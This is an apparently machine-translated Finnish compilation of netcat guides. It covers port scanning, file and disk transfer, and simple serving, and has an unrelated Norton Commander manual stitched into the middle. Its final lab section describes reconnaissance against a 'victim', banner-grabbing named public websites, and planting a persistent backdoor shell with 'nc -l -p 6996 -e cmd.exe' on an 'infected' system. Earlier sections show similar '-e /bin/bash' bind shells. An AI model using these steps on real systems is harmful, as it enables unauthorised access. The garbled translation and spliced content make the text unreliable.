Netcatin kuvaus. Netcat - käyttöesimerkkejä
Linux-järjestelmä tunnetaan siitä tosiasiasta, että useimmat jakelut toimittavat valtavan määrän hyödyllisiä komentorivin apuohjelmia suoraan käyttöjärjestelmän mukana. Kokeneet järjestelmänvalvojat voivat suorittaa useimmat tehtävät sisäänrakennettujen työkalujen avulla ilman, että sinun tarvitsee asentaa lisäohjelmistoja.
Tämä opas on omistettu apuohjelman toiminnalle . Tämä verkkotyökalujen "Sveitsin armeijan veitsi" voi olla hyödyllinen seurantaan, testaukseen ja tiedon siirtämiseen verkkoyhteyksien kautta.
Tämä opas käyttää Ubuntu 12.04:ää, mutta yleisesti ottaen netcat-apuohjelma on saatavilla melkein missä tahansa nykyaikaisessa jakelussa. Ubuntun mukana tulee apuohjelman BSD-versio, jota käytetään tässä artikkelissa. Muut versiot voivat toimia eri tavalla tai tarjota erilaisia vaihtoehtoja.
Yleinen syntaksi
Oletusarvoisesti netcat toimii käynnistämällä TCP-yhteyden etäisäntään.
Perussyntaksi:
netcat [valinnat] isäntäportti
Tämä komento käynnistää TCP-yhteyden määritettyyn isäntään määritetyssä portissa. Periaatteessa se toimii samalla tavalla kuin vanha Linux-komento, telnet. Huomaa, että yhteytesi tehdään salaamattomaksi.
Jos haluat lähettää UDP-paketin TCP-yhteyden muodostamisen sijaan, käytä -u-vaihtoehtoa:
netcat -u isäntäportti
Jos haluat määrittää porttialueen, määritä alueen ensimmäinen ja viimeinen portti väliviivalla erotettuna:
netcat-isäntä ensimmäinen_portti-viimeinen_portti
Tyypillisesti tätä komentoa käytetään lisälippujen kanssa.
Useimmissa järjestelmissä voit käyttää netcatia tai nc:tä. Ne ovat keskenään vaihdettavissa, koska ne ovat saman komennon aliaksia.
Käyttöporttiskannausta varten
Useimmiten netcatia käytetään porttiskannerina.
Vaikka Netcat ei luultavasti olekaan älykkäin työkalu tähän tehtävään (nmap sopii tähän paremmin useimmissa tapauksissa), se voi suorittaa yksinkertaisen porttiskannauksen tunnistaakseen nopeasti avoimet portit.
Voit tehdä tämän määrittämällä skannattavia portteja (kuten yllä on esitetty) ja käyttämällä myös vaihtoehtoa -z, joka skannaa yhteyksien muodostamisen sijaan.
Jos haluat esimerkiksi tarkistaa kaikki portit porttiin 1000 asti, suorita:
netcat -z -v domain.com 1-1000
Kuten näette, tämä komento käyttää -z-vaihtoehdon lisäksi valitsinta -v, jonka ansiosta netcat näyttää yksityiskohtaisempia tietoja.
Tulos näyttää tältä:
nc: yhteys domain.com-porttiin 1 (tcp) epäonnistui: Yhteys evätty
nc: yhteys domain.com-porttiin 2 (tcp) epäonnistui: Yhteys hylätty
nc: yhteys domain.com-porttiin 3 (tcp) epäonnistui: Yhteys evätty
nc: yhteys domain.com-porttiin 4 (tcp) epäonnistui: Yhteys evätty
nc: yhteys domain.com-porttiin 5 (tcp) epäonnistui: Yhteys evätty
nc: yhteys domain.com-porttiin 6 (tcp) epäonnistui: Yhteys evätty
nc: yhteys domain.com-porttiin 7 (tcp) epäonnistui: Yhteys hylätty
. . .
Yhteys domain.com 22 -porttiin onnistui!
. . .
Kuten näette, tämä komento tuottaa melko yksityiskohtaisen tuloksen ja kertoo myös, onnistuiko jokainen yksittäinen portin tarkistus vai ei.
Tämä on kätevää käytettäessä verkkotunnusta.
Määrittämällä tarvittavat IP-osoitteet voit kuitenkin nopeuttaa skannausta merkittävästi. Voit sitten käyttää -n-lippua osoittamaan, että IP-osoitetta ei pitäisi ratkaista DNS:n avulla:
netcat -z -n -v 111.111.111.111 1-1000
Palautusviestit lähetetään normaalivirheeseen. Vakiovirheilmoitukset voidaan lähettää vakiolähtöön tulosten suodattamiseksi.
Voit ohjata vakiovirheen vakiotulostukseen käyttämällä bash-syntaksia 2> tuloksena saadut tulokset suodatetaan grepillä:
netcat -z -n -v 111.111.111.111 1-1000 2>&1 | grep onnistui
Yhteys 111.111.111.111 22 -porttiin onnistui!
Joten nyt voit nähdä, että etäkoneen ainoa avoin portti alueella 1-1000 on portti 22, tavallinen SSH-portti.
Viestintänetcatin avulla
Netcat-komento ei rajoitu TCP- ja UDP-pakettien lähettämiseen. Se voi myös kuunnella portista yhteyksiä ja paketteja, mikä mahdollistaa kahden netcat-esiintymän yhdistämisen asiakas-palvelin-suhteessa.
Mikä tietokone on palvelin ja mikä asiakas on tärkeä vain alkuasennuksen aikana. Kun yhteys on muodostettu, viestintä on sama molempiin suuntiin.
Yhdellä koneella sinun on käskettävä netcat kuuntelemaan yhteyksiä tietystä portista. Tämä tehdään parametrilla -l, jota seuraa portin numero:
Suorittamalla tämän komennon netcat kuuntelee TCP-yhteyksiä portissa 4444. Nyt normaali käyttäjä (ei root) ei voi avata portteja ennen 1000 (palvelimen suojaus).
Toisessa palvelimessa sinun on muodostettava yhteys ensimmäiseen koneeseen määritetyn portin kautta. Tämä tehdään samalla tavalla kuin aiemmin:
netcat domain.com 4444
Kun yhteys on muodostettu, voi näyttää siltä, että mitään ei ole tapahtunut. Mutta nyt voit lähettää viestejä yhteyden molemmille puolille ja ne näkyvät molemmilla palvelimilla.
Kirjoita viestisi ja paina ENTER. Viesti näkyy sekä paikallisella että etäpalvelimella. Tämä toimii myös toisinpäin.
Kun olet lähettänyt viestit, sulje TCP-yhteys painamalla CTRL-D.
Tiedostojen jakaminen netcatin avulla
Kun olet tutustunut apuohjelman perustoimintoihin ja suorittanut edelliset esimerkit, voit siirtyä monimutkaisempiin tehtäviin.
Kuten jo mainittiin, netcat-apuohjelma luo TCP-yhteyksiä, joiden avulla voidaan siirtää melkein mitä tahansa tietoa, ei rajoitu käyttäjän kirjoittamiin viesteihin. Tämän tiedon avulla voidaan muuttaa netcat tiedostonsiirtoohjelmaksi.
Jälleen sinun on valittava yksi kone kuunnellaksesi yhteyksiä. Netcat kuitenkin sijoittaa kaikki tiedot suoraan tiedostoon sen sijaan, että tulostaisi tiedot näytölle (kuten edellisessä esimerkissä):
netcat -l 4444 > vastaanotettu_tiedosto
Toisella tietokoneella sinun on luotava yksinkertainen tekstitiedosto:
echo "Hei, tämä on tiedosto" > alkuperäinen_tiedosto
Voit nyt käyttää tätä tiedostoa syötteenä luodaksesi yhteyden kuuntelutietokoneeseen. Tiedosto siirretään aivan kuin se olisi kirjoitettu interaktiivisesti:
netcat domain.com 4444< original_file
Kuten näet, tietokoneella, joka odotti yhteyttä, on nyt uusi tiedosto nimeltä "received_file", joka sisältää toiseen tietokoneeseen syötetyt tiedot:
kissa vastaanotettu_tiedosto
Hei, tämä on tiedosto
Kuten näette, tällaisia yhteyksiä voidaan käyttää helposti kaikenlaisen tiedon välittämiseen.
Voit esimerkiksi siirtää koko hakemiston sisällön; Tee tämä luomalla nimeämätön tarball, siirtämällä se etäjärjestelmään ja purkamalla se etähakemistoon.
Vastaanottopäässä voit käyttää seuraavaa komentoa varoittaaksesi, että tiedosto on vastaanotettava ja purettava:
netcat -l 4444 | tar xzvf -
Viiva komennon lopussa tarkoittaa, että tarball toimii vakiotulolla, joka lähetetään tällä hetkellä verkon yli, jos yhteys muodostetaan.
Pakkaa siirrettävän hakemiston sisältävälle puolelle annettu hakemisto arkistoon ja lähetä se sitten etäkoneeseen netcatin avulla:
tar -czf - * | netcat domain.com 4444
Tällä kertaa tar-komennon viiva tarkoittaa, että nykyisen hakemiston sisältö (kuten *-symboli osoittaa) on pakattava ja siirrettävä ja tulos kirjoitettava sitten vakiotulosteeseen.
Tämä kirjoitetaan sitten TCP-yhteyteen, lähetetään yhteyden toiselle puolelle ja puretaan etätietokoneen nykyiseen hakemistoon.
Tämä on vain yksi esimerkki monimutkaisempien tietojen siirtämisestä tietokoneesta toiseen. Yleisesti käytetty on myös dd-komento, joka luo levykuvan yhdelle puolelle ja siirtää sen etätietokoneeseen. Tällaista lähestymistapaa ei kuitenkaan käsitellä tässä oppaassa.
kuin yksinkertainen verkkopalvelin
Netcat-apuohjelmaa on jo käytetty viestien ja tiedostojen siirtämiseen. Sama lähestymistapa auttaa sinua käyttämään netcatia yksinkertaisena verkkopalvelimena. Tästä voi olla hyötyä valmiiden sivujen testaamisessa.
Ensin sinun on luotava HTML-tiedosto yhdelle palvelimelle:
Seuraava yksinkertainen koodi voidaan sijoittaa tähän tiedostoon:
Tason 1 otsikko
Alaotsikko
Normaalia tekstiä täällä
Tallenna ja sulje tiedosto.
Tätä tiedostoa ei voi käyttää oletusverkkopalvelimen portissa (80) ilman pääkäyttäjän oikeuksia. Koska tavallisena käyttäjänä aseta portti 8888.
Testaaksesi yhtä sivua ja nähdäksesi, miten se renderöityy, kirjoita jotain seuraavasti:
netcat -l 8888< index.html
Sisältö on nyt katsottavissa selaimessa osoitteessa:
http://palvelin_IP:8888
Tämä komento tulostaa sivun ja netcat-yhteys sulkeutuu. Kun yrität päivittää sivun, se katoaa.
Netcat voi palvella sivua toistaiseksi; Tätä varten sinun on tehtävä viimeinen komento sykliseksi rivillä:
vaikka totta; tee nc-l 8888< index.html; done
Sitten sivu jatkaa yhteyksien vastaanottamista ensimmäisen yhteyden katkaisun jälkeen.
Pysäyttääksesi silmukan, kirjoita CTRL-C.
Tämän palvelimen avulla voit nähdä, kuinka sivu hahmonnetaan selaimessa, mutta se ei tarjoa laajempia toimintoja. Älä koskaan käytä tällaista verkkopalvelinta oikeiden sivustojen palvelemiseen: se ei ole turvallinen, ja yksinkertaiset asiat, kuten linkit, eivät aina toimi oikein.
Tulokset
Tämä opetusohjelma esittelee netcatin perusominaisuudet ja käytön. Koska tämä työkalu on monipuolinen, sitä voidaan käyttää ongelmien diagnosointiin ja TCP/UDP-yhteyksien perustoimintojen testaamiseen.
Lisäksi netcatin avulla voit kommunikoida ja vaihtaa tietoja eri tietokoneiden välillä, mikä on erittäin tärkeää nopean käyttäjän vuorovaikutuksen kannalta. Yksinkertaistamalla yhteyden luomista netcat-apuohjelma yrittää tehdä verkkovuorovaikutuksista tietokoneiden välillä helpompaa, nopeampaa ja ymmärrettävämpää.
Tunnisteet: ,Testi-HTML-sivun näyttäminen asiakkaalle tavallisella selaimella yhdellä komennolla (portti 8080):
(echo -e "HTTP/1.1 200 OK\nContent-Type: text/html\n\n Hello World";) | nc -vv -l -p 8080
Tiedoston siirtäminen asiakkaalle tavallisella selaimella yhdellä komennolla (portti 8080):
(echo -e "HTTP/1.1 200\nContent-Disposition: liite; tiedostonimi=kohteen-nimi-that-client-will-see\nSisältötyyppi: Application/octet-stream\nYhteys: sulje\n"; cat filename- levyllä) | nc -vv -l -p 8080
Kuinka käyttää nc:tä?
(http://handynotes.ru/2010/01/unix-utility-netcat.html )
Aloitetaan muutamalla yksinkertaisella esimerkillä ja käytä niitä sitten perusesimerkeinä.
Jos muistat, sanoin, että netcat on Sveitsin armeijan veitsi. Mikä tämä veitsi olisi, jos sitä ei voisi käyttää kuin tavallista veistä? Tästä syystä netcatia voidaan käyttää tavallisen telnetin sijaan:
$nc www.google.com 80
Se on itse asiassa kätevämpi kuin tavallinen telnet, koska voit lopettaa yhteyden milloin tahansa painamalla Ctrl+C ja se käsittelee binaaridataa normaalina (ei pakosarjoja, ei mitään).Voit lisätä vaihtoehdon -v näyttääksesi toimintojen tulokset yksityiskohtaisemmin ja vaihtoehdon (-vv) saadaksesi tilastot siitä, kuinka monta tavua siirrettiin nykyisen yhteysistunnon aikana.
Netcatia voidaan käyttää palvelimena. Jos suoritat sen alla kuvatulla tavalla, se kuuntelee porttia 12345 (kaikissa liitännöissä):
$ nc -l -p 12345
Jos nyt muodostat yhteyden tämän isännän porttiin 12345, kaikki kirjoittamasi lähetetään etäpuolelle, mikä kertoo meille, että netcatia voidaan käyttää chat-palvelimena. Suorita jollakin tietokoneista:# Tietokoneessa A IP 10.10.10.10
$ nc -l -p 12345
Ja yhdistä siihen toisesta:
# Tietokoneella B
$nc 10.10.10.10 12345
Nyt molemmat osapuolet voivat puhua!
Tämä puhetapa, jossa molemmat osapuolet voivat puhua toisilleen, mahdollistaa nc:n käytön I/O-toimintoihin verkon yli! Voit esimerkiksi lähettää koko hakemiston tietokoneelta toiselle suorittamalla tar-putkilinjan nc:n kautta ensimmäisessä tietokoneessa ja ohjaamalla tulosteen toiseen tar-prosessiin toisessa.
Oletetaan, että haluat lähettää tiedostoja tietokoneen A /data-hakemistosta, jonka IP-osoite on 192.168.1.10, tietokoneeseen B (millä tahansa IP-osoitteella). Se on yksinkertaista:
$tar -cf - /data | nc -l -p 6666
# Tietokoneella B
$nc 192.168.1.10 6666 | tar -xf -
Älä unohda yhdistää liukuhihnaa Pipe Vieweriin, joka on kuvattu edellisessä artikkelissa, jotta näet tilastot siitä, kuinka nopeasti siirto tapahtuu!
Yksittäinen tiedosto voidaan lähettää yksinkertaisemmin:
# Tietokoneessa A, jonka IP-osoite on 192.168.1.10
$ kissatiedosto | nc -l -p 6666
# Tietokoneella B
$nc 192.168.1.10 6666 > tiedosto
Voit jopa kopioida ja palauttaa koko levyn käyttämällä nc:tä:
# Tietokoneessa A, jonka IP-osoite on 192.168.1.10
$ cat /dev/hdb | nc -l -p 6666
# Tietokoneella B
$ nc 192.168.1.10 6666 > /dev/hdb
Huomautus: "-l"-vaihtoehtoa ei voi käyttää yhdessä "-p":n kanssa Mac-tietokoneissa! Ratkaisu on yksinkertaisesti korvata "-l -p 6666? numeroon "-l 6666?. Kuten täällä:
# nyt nc kuuntelee porttia 6666 Mac-tietokoneille
$nc -l 6666
Netcatin yleinen käyttö on porttien skannaus. Netcat ei ole paras työkalu tällaiseen työhön, mutta se saa työn tehtyä (paras on tietysti nmap):
$ nc -v -n -z -w 1 192.168.1.2 1-1000
(UNKNOWN) 445 (microsoft-ds) auki
(UNKNOWN) 139 (netbios-ssn) auki
(TUNTETTU) 111 (sunrpc) auki
(TUNTETTU) 80 (www) auki
(UNKNOWN) 25 (smtp) : Yhteyden aikakatkaisu
(UNNOWN) 22 (ssh) auki
Valinta -n estää DNS-haut, -z ei odota vastausta palvelimelta ja -w 1? asettaa yhteyden aikakatkaisun 1 sekuntiin.
Toinen ei-triviaali netcatin käyttö on välityspalvelin. Sekä portti että isäntä voidaan välittää. Katso tämä esimerkki:
$ nc -l -p 12345 | nc www.google.com 80
Tämä komento suorittaa nc:n portissa 1234 ja ohjaa kaikki yhteydet osoitteeseen google.com:80. Jos muodostat nyt yhteyden tähän tietokoneeseen portissa 12345 ja teet pyynnön, huomaat, että et saa mitään tietoja vastauksena. Tämä on oikein, koska emme ole luoneet kaksisuuntaista kanavaa. Jos lisäät toisen kanavan, saat tietosi eri porttiin:
$ nc -l -p 12345 | nc www.google.com 80 | nc -l -p 12346
Kun olet lähettänyt pyynnön porttiin 12345, vastaanota vastaustietosi portista 12346.
Netcatin luultavasti tehokkain ominaisuus on suorittaa mitä tahansa prosessia palvelimena:
$ nc -l -p 12345 -e /bin/bash
Vaihtoehto -e saa tulon ja lähdön uudelleenohjattua verkkoliitännän kautta. Jos nyt muodostat yhteyden isäntään portissa 12345, voit käyttää bashia:
$nc localhost 12345
ls-las
yhteensä 4288
4 drwxr-xr-x 15 pkrumins käyttäjää 4096 2009-02-17 07:47 .
4 drwxr-xr-x 4 pkrumins käyttäjää 4096 2009-01-18 21:22 ..
8 -rw——- 1 pkrumins käyttäjää 8192 2009-02-16 19:30 .bash_history
4 -rw-r—r— 1 pkrumins käyttäjää 220 2009-01-18 21:04 .bash_logout
(http://execbit.ru/2011/05/23/netcat/)
1 Siirrä tiedostoja (suoritamme ensimmäisen komennon vastaanottavalla koneella, toisen lähettävällä koneella:
$ nc -l 31334 > tiedostonimi $ nc 172.16.69.143 31334< filename
$ nc -f /var/log/messages | nc -l 31334 $ nc 172.16.69.143 31334
3 Käytä telnetin sijaan (ensimmäinen on telnet-palvelin, toinen on asiakas):
$ nc -l -p 31334 -e /bin/sh $ nc 172.16.69.143 31334
4 Skannaa avoimiin portteihin:
$ nc -z execbit.ru 1-1024
5 bannereihin perustuvaa sormenjälkipalvelua:
$ echo "QUIT" | nc execbit.ru 1-1024
6 Järjestä käänteinen kuori (ensimmäinen on asiakas, toinen on palvelin, mutta komentotulkki avautuu palvelimelta asiakkaalle).
Ohjeet työskentelyynNortonKomentaja
Käynnistääksesi NC-järjestelmän, kirjoita NC-komento DOS-komentoriville tai napsauta hiiren vasemmalla painikkeella NC-kuvaketta tietokoneen työpöydällä. Lopeta työskentely NC:llä painamalla -näppäintä [ F10] . Valitse näkyviin tulevasta valintaikkunasta vastaus "Kyllä", jos kirjaudut ulos järjestelmästä, tai "Ei" muussa tapauksessa. Vastausvaihtoehdon valinta suoritetaan käyttämällä toiminnallisen näppäimistön kohdistinnäppäimiä ja painamalla sitten -näppäintä [ Tulla sisään] . Näytön alareunassa on DOS-komentorivi, jonne voit syöttää tarvittavat komennot työskennellessään NC-ohjauksella. Näytön alimmalla rivillä on vihjerivi, joka ilmaisee NC- (ja DOS-) komentoja vastaavien päänäppäinten tarkoituksen.
NC:n käynnistämisen jälkeen näytölle tulee kaksi paneelia - vasen ja oikea. Jokaisen paneelin yläosassa pieni suorakaiteen muotoinen ikkuna näyttää koko polun nykyiseen tiedostoon tai hakemistoon. Paneelia, jossa korostettu suorakulmio, kohdistin, sijaitsee, kutsutaan aktiiviseksi. Käytä näppäintä siirtyäksesi paneelista toiseen . Jos paneelin ylärivi ja kuva on valittu “…” tämä tarkoittaa, että olet hakemistossa, jonka nimi näkyy paneelin yläosassa. Seuraavia komentoja käytetään paneelien kanssa työskentelemiseen:
[ Ctrl] + [ F1] Piilota/näytä vasen paneeli
[ Ctrl] + [ F2] Piilota/näytä oikea paneeli
[ Ctrl] + [ U] Vaihda paneelit
[ Ctrl] + [ O] Piilota/näytä molemmat paneelit
[ Ctrl] + [ P]Piilota/näytä passiivinen paneeli
Voit muuttaa loogisen levyn nimeä napsauttamalla vasenta paneelia [ Alt] + [ F1] , valitse näkyviin tulevassa valintaikkunassa kohdistinnäppäimillä haluamasi levyn nimi ehdotetuista nimistä, paina näppäintä [ Tulla sisään] . Oikean paneelin toiminnot ovat samankaltaisia, mutta alussa sinun tulee napsauttaa [ Alt] + [ F2] .
Siirry hakemistoon valitsemalla se aktiivisesta paneelista ja painamalla -näppäintä [ Tulla sisään] . Siirry aktiivisen paneelin ylemmän tason hakemistoon valitsemalla rivi “…” ja paina näppäintä [ Tulla sisään] .
Seuraavia komentoja käytetään työskentelemään hakemistojen kanssa:
[ F7] – luo hakemisto. Määritä näkyviin tulevassa valintaikkunassa uusi hakemiston nimi.
[ F8] – poista hakemisto. Vahvista poisto avautuvassa valintaikkunassa tai peruuta poisto painamalla Esc-näppäintä.
Seuraavia komentoja käytetään tiedostojen käsittelyyn:
[ Siirtää] + [ F4] – luo tiedosto. Kirjoita näkyviin tulevaan valintaikkunaan uusi tiedostonimi (älä unohda määrittää tunnistetta). Kun tiedoston nimi on määritetty, kirjoita tiedoston sisältö näytön työtilaan. Viimeistele tiedoston luominen komennolla [ Ctrl] + [ Z]. Tallenna tiedosto painamalla -näppäintä [ F2] . Poistu muokkaustilasta näppäimellä [ F10 ] .
[ F4] – aiemmin luodun asiakirjan muokkaaminen. Tässä tapauksessa sinun on määritettävä muokattavan tiedoston nimi valintaikkunassa. Muokkaustilassa työskennellessä alareunassa olevaan näyttötilaan ilmestyy vihjeviiva, jossa on pikanäppäimet muokkaustilassa.
[ Siirtää] + [ F2] – tallenna tiedosto uudella nimellä.
[ F3] – tarkastella tiedoston sisältöä. Tee tämä valitsemalla ensin tiedosto paneelista.
[ F5] – tiedostojen kopiointi. Kaikki tiedostojen ja hakemistojen toiminnot suoritetaan molemmilla paneeleilla. Jos haluat kopioida tiedoston, aseta ei-aktiivisessa paneelissa hakemisto, johon kopioitu tiedosto sijoitetaan, siirry tähän hakemistoon. Valitse aktiivisesta paneelista kopioitava tiedosto ja paina -näppäintä [ F5] . Vahvista kopiointi painamalla -näppäintä [ Tulla sisään] , peruuttaa - .
[ F6] – siirrä/nimeä tiedosto uudelleen. Toiminto on samanlainen kuin kopiointi. Jos haluat siirtää tiedoston, aseta ei-aktiivisessa paneelissa hakemisto, johon tiedosto sijoitetaan, ja siirry tähän hakemistoon. Valitse aktiivisesta paneelista siirrettävä tiedosto ja paina -näppäintä [ F6] . Jos haluat nimetä tiedoston uudelleen, määritä uusi tiedostonimi valintaikkunassa lisäämällä se -kuvakkeen kautta ” \ ” polun osoittamisessa. On syytä muistaa, että siirretty tiedosto poistetaan alkuperäisestä sijainnistaan.
[ F9] – Siirry valikkoonNC.
Ryhmätoiminnot tiedostoille
Kopiointi-, siirto- ja poistotoiminnot voidaan suorittaa useille tiedostoille samanaikaisesti. Voit tehdä tämän merkitsemällä ne korostamalla ne paneelissa ja painamalla -näppäintä [ Lisää] . Tässä tapauksessa valitut tiedostot on korostettu kontrastivärisillä suorakulmioilla. Voit poistaa valinnan toistamalla nämä vaiheet. Tiedoston valintamenettelyn jälkeen vaadittu toimenpide (kopiointi, siirtäminen, poistaminen) suoritetaan tiedostoryhmälle ikään kuin se olisi yksi. Toinen tapa valita tiedosto on painaa suurta harmaata näppäintä ”+” vasemmalla olevasta toimintonäppäimistöstä. Kun olet painanut tätä näppäintä, sinun tulee määrittää tiedoston nimi valintaikkunassa tai määrittää tiedostojen nimet, kun käytät maskia nimessä: “ * ”, “ *.* ”, “ ? ”. Voit poistaa tiedostojen valinnan käyttämällä vasemmanpuoleisen näppäimistön "-"-näppäintä.
Järjestelmävalikko NC
Valikkojärjestelmä on suunniteltu mukauttamaan kuorta ja helpottamaan toimintaa. Valikkopalkki avataan painamalla näppäintä [ F9] . Valikkojärjestelmä koostuu valikkopalkista ja pudotusvalikoista. Valikko sisältää seuraavat kohteet: Oikea Tiedostot Komennot Asetukset Vasen . Joukkueet Oikein Ja Vasen määrittää tiedoston näyttötilan valinnan paneelissa. Kaikki vasemman ja oikean paneelin komentovaihtoehdot ovat identtiset. Tiimi Tiedostot suunniteltu suorittamaan toimintoja tiedostoille ja hakemistoille. Valikkokohta Joukkueet on tarkoitettu lisäkomentojen suorittamiseen. Tiimi asetukset on tarkoitettu NC-ympäristön asettamiseen. Sopivan komennon valinta tehdään kohdistinnäppäimillä ja sitten painamalla [ Tulla sisään].
Valikkokohta Vasen oikea).
Tämän komennon pudotusvalikko sisältää vaihtoehdot tiedoston näytöllä näkyvän muodon valitsemiseksi. tilassa Lyhyt Paneeli näyttää vain tiedostojen ja hakemistojen nimet. tilassa Koko Tiedoston tai hakemiston nimi näytetään, tiedostolle sen koko ilmoitetaan, hakemistolle - merkkijono "alihakemisto", tiedoston ja hakemiston luomispäivämäärä ja -aika. tilassa Puu Voit näyttää nykyisen levyn hakemistopuun ja käyttää kursoria löytääksesi nopeasti haluamasi tiedoston siirtymällä puun läpi. Tämän valikkokohdan seuraava vaihtoehtoryhmä määrittää järjestyksen, jossa tiedostot näytetään paneelissa. Tässä tapauksessa tiedostot voidaan järjestää mihin tahansa järjestykseen - tilaan Ei lajittelua , mutta ne voidaan järjestää tietyssä järjestyksessä: Nimi - nimen mukaan aakkosjärjestyksessä, Laajennus – laajennuksella aakkosjärjestyksessä, Aika – luontipäivämäärän mukaan, kun tiedostot, joiden viimeisin luontipäivä on luettelon alussa, Koko – tiedostokoon mukaan laskevassa järjestyksessä. Vastaavan tilan rivin valinta suoritetaan kohdistimella ja asettamalla valintaruutu välilyöntinäppäimellä.
Valikkokohta Tiedostot .
Tämän komennon pudotusvalikko sisältää kuvauksen pikanäppäinten tarkoituksesta [ F1] - [ F8] , eli pikanäppäintoiminnot kopioidaan valikkokomennoilla. Seuraava vaihtoehto on Aseta attribuutit. Attribuutit asetetaan vain tiedostoille. Määritteiden asetusjärjestys on seuraava: valitse tiedosto kursorilla paneelissa. Tämän jälkeen paina näppäintä [ F9] mene NC-valikkoon ja valitse kohde Tiedostot Asennus attribuutteja . Näppäimen painamisen jälkeen [ Tulla sisään] Luettelo mahdollisista määritteistä tulee näkyviin valintaikkunaan: Vain luku, Arkisto, Piilotettu, Järjestelmä. Tiedoston attribuuttirivi valitaan kohdistimella ja valintaruutu välilyöntinäppäimellä. Tässä tapauksessa tiedosto attribuuteineen Vain lukemista varten ei voi muokata ja se on vain katseltavissa. Attribuuttitiedosto Piilotettu paneelissa on merkitty pienellä korostetulla suorakulmiolla (jos vaihtoehtoa ei ole asetettu näytön asetuksissa Näytä piilotetut tiedostot Tiedoston nimi ei näy paneelissa ollenkaan). Seuraava komentoryhmä antaa sinun valita tiedostoja (samanlainen kuin iso harmaa näppäin ”+” ), poista valinta (analogisesti näppäimen kanssa ” - ” toimintonäppäimistöllä), käännä valinta (analogisesti ” * ” toimintonäppäimistöllä).
Valikkokohta Joukkueet .
Tämän komennon pudotusvalikon avulla voit luoda käyttäjävalikon, muokata tätä valikkoa, tarkastella DOS-komentorivillä annettujen komentojen historiaa ja sisältää muita NC-kuoren lisäominaisuuksia.
Valikkokohta Asetukset.
Tämän komennon pudotusvalikon avulla voit määrittää käyttöliittymäympäristön käyttäjäystävällisellä tavalla. Sisältää vaihtoehdon asetukset Toimittaja ja muut. Kun valitset Asetukset-valikkopalkin, näkyviin tulee joukko valintaikkunoita, joiden avulla voit valita näytön värijoukon, asettaa näytön rivien määrän jne. Dialogi-ikkuna Paneelin asetukset sallii Näytä piilotetut tiedostot, jos vastaava valintaruutu on valittuna (tai älä näytä). Vastaavien valintaruutujen valinta tehdään myös kursorilla ja välilyönnillä.
Laboratoriotehtävä
·nc -h
Kuten näet, Netcatin perussyntaksi on seuraava.
Yhteyden muodostaminen toiseen koneeseen:
nc options isäntä IP-osoiteportti
kuunnellaksesi saapuvia yhteyksiä:
nc -l -p portti
Vaihe 2: Käytä Netcatia muodostaaksesi yhteyden etäjärjestelmään
Käytetään Netcatia yhteyden muodostamiseen etäjärjestelmään. Meidän tapauksessamme yritämme muodostaa yhteyden verkkopalvelimeen portin 80 kautta. Kirjoita:
·nc 192.168.1.105 80
Vaihe 3: Käytä Netcatia OS-sormenjälkibannerin sieppaamiseen
Kun meillä on TCP-yhteys verkkoon, voimme käyttää Netcatia verkkopalvelimen bannerin kaappaamiseen tunnistaaksemme, mikä ohjelmisto on käynnissä uhrin verkkopalvelimella.
Muista, että ennen kuin hyökkäämme mihinkään järjestelmään, meidän on opittava mahdollisimman paljon uhrista. Netcat voi auttaa meitä tässä tehtävässä vangitsemalla bannerit, joita web-palvelimet tarjoavat uusia yhteyksiä varten.
Nyt kun meillä on yhteys, voimme napata bannerin verkkopalvelimelta komennolla:
HEAD / HTTP/1.0
Ole varovainen ja kopioi täsmälleen kirjoittajan kirjoittamalla tavalla vinoviivoilla ja välilyönneillä.
Paina Enter useita kertoja ja verkkopalvelin vastaa bannerillaan ja kertoo meille, mitä ohjelmistoa se käyttää. Meidän tapauksessamme voimme nähdä, että verkkopalvelimessa on Microsoft IIS 6.0.
Saatamme käyttää tätä tekniikkaa myös muilla julkisesti saatavilla olevilla verkkosivustoilla. Kokeillaan joitain tunnettuja sivustoja ja katsotaan, mitä ohjelmistoja ne käyttävät verkkopalvelimellaan. Kokeillaan ensin osoitteessa wonderhowto.com. Kun pingimme wonderhowto.com-sivustolle, näemme, että IP-osoite on 98.129.110.26. Joten voit syöttää:
·nc 98.129.110.26 80
Kun yhteys on luotu, voimme tarttua verkkobanneriin kirjoittamalla uudelleen:
HEAD / HTTP/1.0
Ja paina sitten Enter kaksi tai kolme kertaa.
Kuten näet, wonderhowto.com toimii Microsoft-IIS/7.5:llä.
Jos yritämme samaa cnn.com-sivustolla, saamme seuraavat tulokset:
Mielenkiintoista on, että cnn.com toimii avoimen lähdekoodin verkkopalvelimella nginx, joka on saavuttanut erittäin lyhyessä ajassa Microsoft IIS -asennusten maailmanlaajuisen kokonaismäärän (yli 60 % planeetan verkkopalvelimista käyttää Apachea). .
Vaihe 4: Kuuntele yhteyksiä Netcatilla
Luodaan nyt kuuntelija etäjärjestelmään netcatilla. Oletetaan, että meillä on Windows Server, johon olemme asentaneet netcatin. Nyt voimme kirjoittaa seuraavan avataksemme netcat-kuuntelijan portissa 6996 (tämä voi olla mikä tahansa portti) tässä järjestelmässä:
·nc - l -p 6996
Näin syntyi "kuuntelija", joka voi liittyä vapaa-aikaan. Huomaa, että Windows-järjestelmissä voimme suorittaa tämän saman komennon isolla L-kirjaimella ja tämä luo jatkuvan kuuntelijan, joka avautuu, vaikka järjestelmä käynnistetään uudelleen.
Vaihe 5: Luo takaovi
Luodaan nyt tartunnan saaneelle järjestelmälle takaovi, jotta voimme palata milloin tahansa. Komento vaihtelee hieman sen mukaan, mihin järjestelmään, Linuxiin tai Windowsiin, hyökkäämme.
Windowsille käytämme:
·nc -l -p 6996 -e cmd.exe
Linuxissa käytämme:
·nc -l -p 6996 -e /bin/bash
·nc 192.168.1.105 6996
Kuten näet, Windowsin komentorivi ohjattiin netcat-yhteytemme kautta suoraan hyökkäävään järjestelmäämme! Meillä on tämä laatikko!
nc [-46bCDdhklnrStUuvZz] [-I pituus] [-i intervalli] [-O pituus] [-P proxy_username] [-s lähde_portti] [-q sekuntia] [-s lähde] [-T avainsanaan] [-V rtable] [-w Aikalisä] [-X proxy_protocol] [-x välityspalvelimen_osoite[:portti]] [määränpäähän] [portti]Vaihtoehdot
-4 | Voimat nc käyttää vain IPv4-osoitteita. |
-6 | Voimat nc käyttää vain IPv6-osoitteita. |
-b | Salli lähetys. |
-C | Lähetä rivin päätteenä. |
-D | Ota virheenkorjaus käyttöön socketissa. |
-d | Älä yritä lukea stdinistä. |
-h | Tulostaa nc help. |
-Minä pituus | Määrittää TCP - vastaanottopuskurin koon . |
-i intervalli | Määrittää viiveajan lähetettyjen ja vastaanotettujen tekstirivien välillä. Aiheuttaa myös viiveen useisiin portteihin tehtävien yhteyksien välillä. |
